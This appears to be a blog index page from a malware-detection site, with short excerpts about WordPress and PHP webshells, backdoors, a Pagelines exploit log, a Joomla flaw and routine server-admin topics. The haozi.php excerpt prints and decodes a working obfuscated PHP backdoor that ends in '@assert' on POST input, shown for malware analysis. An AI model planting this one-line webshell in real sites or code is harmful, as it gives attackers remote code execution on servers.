We found very old and hidden WordPress cookie, which named wp_cookie. This allows an attacker to run anything on the compromised user website with user permissions. wp_cookie This is a very clever attack method that allows arbitrary commands to run on a server with ignoring any server security software, just like normal PHP code. Also, … Read more
Today we found new Thumbs.php encoded malware, which trying to hide PHP code to unreadable. This technique is not nothing new, so this is very easy de-obfuscate PHP code and make it readable again. After we manually decoded this PHP malware, we found again FilesMan backdoor which is PHP command shell. Decoded Thumbs.php FilesMan – … Read more
SSH, or secure shell, is an encrypted protocol used to administer and communicate with servers. When working with a Linux server, chances are, you will spend most of your time in a terminal session connected to your server through SSH. SSH keys provide an easy, yet extremely secure way of logging into your server. For … Read more
Our honeybot catch up again new malware, which is very simple but clever. First look this looks nothing, because there are many PHP style comments in code. haozi.php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”;@$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”}[/*-/*-*/0/*-/*-*/]); If we remove comment’s away, then code look’s like: @$_=”s”.”s”.”e”.”r”;@$_=”a”.$_.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final if we put this more readable, this is Assert POST: @$_=”a”.”s”.”s”.”e”.”r”.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final Decoded haozi.php @assert(${“_POST”}[0]); … Read more
In this article we show how to find and disable ModSecurity rule that might be causing 406 errors on your websites on either your VPS (Virtual Private Server) or dedicated server. The rules that ModSecurity uses can help block potential attack attempts from malicious users, but sometimes it can also block legitimate requests, and knowing … Read more
Last few days we have seen very much attacks this old Pagelines WordPress theme vulnerability. Sucuri discovered Pagelines vulnerability on January 2015. Technical Details Any website using vulnerable version of the platform theme (<1.4.4) is risk Privilege Escalation and Remote Code Execution. ModSecurity Audit log, Payload [27/May/2017:02:32:09 +0300] WSi6@VQikyQAAErqcawAAAAg 93.170.77.90 37930 127.0.0.1 80 –5367c063-B– POST … Read more
cPanel Finder/Cracker This cPanel Finder malware look last updated at 01 June 2015, but Malware Signatures not detected this before today added our database. Final words Use Malware Expert – Signatures detect this backdoor malware from files for FREE!
The malware is a PHP File Manager – a script, which when installed on a compromised system, presents a sophisticated administration platform allowing the attacker to browse the filesystem of the compromised server, upload, create, edit, download or delete files. CowoKerensTeam File Manager Today we found new PHP webshell, what we have not seen before … Read more
There are many examples where you may need to have a specific subdomain’s DNS be managed by a different nameserver. The example we want delegate rbl.malware.expert another Bind DNS server for RBL database queries. First we need Primary Domain (malware.expert) add new NS Records rbl.malware.expert: Then we need also A-Record rbl2.malware.expert to point BIND-DNS server … Read more
The vulnerability is caused by a new component, com_fields, which was introduced Joomla in version 3.7. If you use this version, you are affected and should update as soon as possible. This vulnerable component is publicly accessible, which means this issue can be exploited by any malicious individual visiting your site. Given the nature of … Read more